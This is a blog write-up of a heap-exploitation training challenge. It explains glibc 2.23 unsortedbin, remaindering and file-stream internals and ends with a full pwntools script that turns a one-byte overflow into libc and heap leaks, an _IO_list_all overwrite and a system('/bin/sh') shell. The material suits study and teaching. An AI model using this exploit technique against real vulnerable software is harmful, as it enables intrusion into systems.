Ramblings
A while back I took an online class on glibc’s heap. It’s taught by Max Kamper, the same guy who did ROP emporium, who is an amazing teacher. I’d highly recommend this class if you’re interested in the glibc heap, or how heaps work in general. The last challenge of part one took me a while, but I managed to do it without resorting to the provided solution. While Kamper does cover how the exploit works in his class, I thought it’d be fun to write about, especially because it’s one of the most complex exploits I’ve done without help.
Recon
First, let’s get some basic info on the binary.
The binary has read-only relocations, stack canaries, no-execute bits, and is position independent. This wasn’t a suprise; this is a class learning to exploit the heap. However it does mean that we’ll need a libc leak, as well as a heap leak (I’ll get into why later).
There is one glaring issue: notice the glibc version. It’s 2.23. When older versions of glibc abort due to security concerns, it will close all files before aborting. This includes STDIN
and STDOUT
, which are always present. Keep this in mind.
Actually running the binary, we see that we can allocate up to 16 equally sized chunks, free them, edit them, and quit.
If we use ltrace
, we find this program uses calloc
, which simply clears chunks after using malloc
to allocate them. We can also see that all chunks are sized 0x60.
If we edit a chunk and attempt a buffer overflow, we’ll find the bug. We overflow exactly one byte into the next chunk, overwriting the size field.
Concepts
Here’s a quick explanation of what we’ll need to know for this exploit. This assumes that you already know a bit about the heap, although you may be able to understand it regardless. I don’t want this blog to become too long, so I’ll keep it brief. If you’d like me to go into more detail, let me know.
Unsortedbins and partial unlinks
When a chunk to be freed isn’t mmap
ed, can’t be consolidated forwards or backwards, and is too big for fastbins, it is moved to the unsortedbin. The unsortedbin is a doubly linked list of unsorted free chunks. After malloc checks the fastbins and smallbins, it will resort to the unsortedbin to find a chunk of the exact desired size, with a few exceptions mentioned later. When it finds that a free chunk is the wrong size, malloc will preform a partial unlink, then sort the chunk into the respective bin. When malloc finds an appropriate chunk, it will stop sorting the unsorted bin, then unlink and allocate the chunk.
When glibc unlinks an unsortedbin, it writes the address of the main arena’s unsortedbin to the chunk pointed by the victim’s backwards pointer. It does this without any immediate security checks.
Remaindering
In some cases, glibc will split (“remainder”) a free chunk to allocate the right size chunk. Malloc allocates the higher of the chunk (closest to the metadata). Malloc remainders the chunk if it’s the last entry in the unsortedbin and in the last_remainder
field of the heap arena, or if it’s found in the binmap. When a chunk is remaindered, it’s put into the last_remainder
field of the arena.
File Streams
To make things easier for programmers, glibc handles files through a struct that contains a lot of information.
// file: glibc/libio/libioP.h
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
// file: glibc/libio/bits/types/struct_FILE.h
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
};
// file: glibc/libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
As earlier mentioned, glibc will close file streams as the program exits, even if it aborts. To do this, it follows the _chain
pointer of each file. If the file needs to be flushed, it will do so by calling the overflow function specified in the struct’s vtable. Glibc’s file chain is named _IO_list_all
. To find if the file needs to be flushed, the following test is preformed:
// file: glibc/libio/genops.c
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
Fastbins
If you know anything about the heap, you likely already know about fastbins. They’re doubly linked chunks, ranging from 0x20-0xb0. Each fastbin has it’s own size at intervals of 16. When fastbins are unlinked, glibc does a size check to make sure the forward and backward chunks are really in the correct fastbin.
Exploit
Leaking libc
If we want to get anywhere, we’ll need to leak the libc address. When an unsortedbin is freed, if it’s the only one, it’s forward and backward pointers will both point to the main arena. So if we can somehow print a free unsorted chunk, we can calculate the offset to get libc’s base address. In this situation, we can leak chunks by overwriting the size field (using the one-byte overflow) to overlap an allocated chunk, and then freeing. In this process, the enlarged chunk will first be sorted into the 0xc0 smallbin, the binmap bit will be set, then malloc will find it later in the binmap and remainder it.
Leaking the heap
What we did last does more then leak libc – we can allocate a chunk twice. We can first allocate the new chunk, which overlaps a chunk we’ve already obtained. Then we free the first chunk, adding it to fastbins. We can free the chunk we just obtained from the split chunk, and because it overlaps a chunk we allocated beforehand, we can leak the heap.
Considerations before overwriting _IO_list_all
Sweet, so now we’ve leaked the heap. We can now leverage the unsortedbin partial unlink to overwrite the pointer to _IO_list_all
. But before jumping right into it, there’s a few problems. First of all, when we free a 0x60 sized chunk, it will be sorted into the fastbin, meaning we can’t use it for an unsortedbin partial unlink attack. This is easy to fix, we can just modify the size. Second, when we do overwrite the pointer to _IO_list_all
, we make the first _chain entry to point to the heap arena’s unsortedbin. We can count the offset to see what part of the main arena we need to control to overlap _chain:
The _chain
pointer would point to the 0x60 smallbin. But, when we free a chunk of that size, it’ll go right to the fastbin. There’s ways to avoid this, but it involves freeing the top chunk and creating a new arena, which isn’t possible in this binary. Something that may be of interest are the other fields of the fake file struct:
_IO_write_base
and _IO_write_ptr
are the same. While we can’t control this, we know it will always be true because of how the arena is structured; the smallbins are pairs of pointers that point forward and backwards to smallbins, and when there are none, they both point to themselves. Looking at genops.c
, we see that this fake file stream will never be flushed. The next fake file in the chain has it’s chain overlapping the 0xb0 smallbin, which we can free into much more easily.
Once we free into the 0xb0 fastbin and overwrite _IO_list_all with main_arena’s unsortedbin, the program will decide not to flush the first file. It will follow the chain, which will also not be flushed. It will follow the third chain after that, which we’ve made a pointer to our heap. Because we have (good enough) control of our heap, we can satisfy glibc’s tests so that the file flushes. Seeing that the file needs to be flushed, glibc will look at the heap for a vtable pointer, which we can set anywhere else on our heap thanks to our heap leak. Glibc will then call _IO_OVERFLOW()
, found in our fake vtable, which we can set to system()
. The argument will be the data inside our fake file stream, which we can begin with b"/bin/sh\0"
. Putting these things together, we should be able to call system("/bin/sh")
!
Overwriting _IO_list_all
We’ll start by re-allocating the two fastbins. Remember the green chunk is still allocated twice. We’ll then add a 0x71 at the bottom of the dark blue chunk so that when we enlarge the green one, it’s size will extend to the top chunk, preventing failed security checks. Then we resize it with an overflow, then free it. It’s now in the unsorted bins. We’ll edit the heap to get our fake file stream ready. We’ll then malloc one last time, which will sort our 0xb0 into it’s respective smallbin, preforming the partial unlink. Malloc will attempt to split the chunk when it rediscovers it in the binmap, but it will abort due to a failed size check of the smallbin. The program aborts, it will follow the IO_list_all._chain
to our heap, call our fake overflow entry, and we’ll have a shell!
Full working exploit:
#!/usr/bin/python3
from pwn import *
elf = context.binary = ELF("one_byte")
context.terminal = ['kitty', 'bash', '-c']
# fixing a pwntools bug
elf.libs['../.glibc/glibc_2.23/libc.so.6'] = 0
libc = elf.libc
gs = '''
continue
'''
# content below provided by heap lab
# =============================================================================
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript=gs)
else:
return process(elf.path)
# Index of allocated chunks.
index = 0
# Select the "malloc" option.
# Returns chunk index.
def malloc():
global index
io.sendthen("> ", "1")
index += 1
#input("enter to continue after malloc")
return index - 1
# Select the "free" option; send index.
def free(index):
io.send("2")
io.sendafter("index: ", f"{index}")
#input("enter to continue after free")
io.recvuntil("> ")
# Select the "edit" option; send index & data.
def edit(index, data):
io.send("3")
io.sendafter("index: ", f"{index}")
io.sendafter("data: ", data)
io.recvuntil("> ")
# Select the "read" option; read 0x58 bytes.
def read(index):
io.send("4")
io.sendafter("index: ", f"{index}")
r = io.recv(0x58)
io.recvuntil("> ")
return r
io = start()
io.recvuntil("> ")
io.timeout = 0.1
# =============================================================================
# end of provided heap lab content
cyan = malloc()
purple = malloc()
green = malloc()
blue = malloc()
yellow = malloc()
edit(cyan, b'\0'*0x58 + p64(0xc1)) # make it consume the other chunk
free(purple) # malloc will think that chunk2 is part of this
purple = malloc()
leak = u64(read(green)[:8])
libc.address = leak - (libc.sym.main_arena + 88)
green_1 = malloc()
free(cyan)
free(green)
heap_addr = u64(read(green_1)[:8])
print("heap addr:\t{}\nlibc addr:\t{}".format(hex(heap_addr), hex(libc.address)))
green_2 = malloc()
cyan = malloc() # getting rid of fastbin
edit(blue, b'\0'*0x48 + p64(0x71))
edit(purple, b'\0'*0x50 + b'/bin/sh\0' + p64(0xb1))
free(green_2)
edit(green_1, b'\0'*0x8 + p64(libc.sym._IO_list_all-16) + p64(0) + p64(1))
edit(yellow, b'\0' * 0x8 + p64(heap_addr))
edit(cyan, b'\0'*0x8 + p64(libc.sym.system))
malloc()
io.interactive()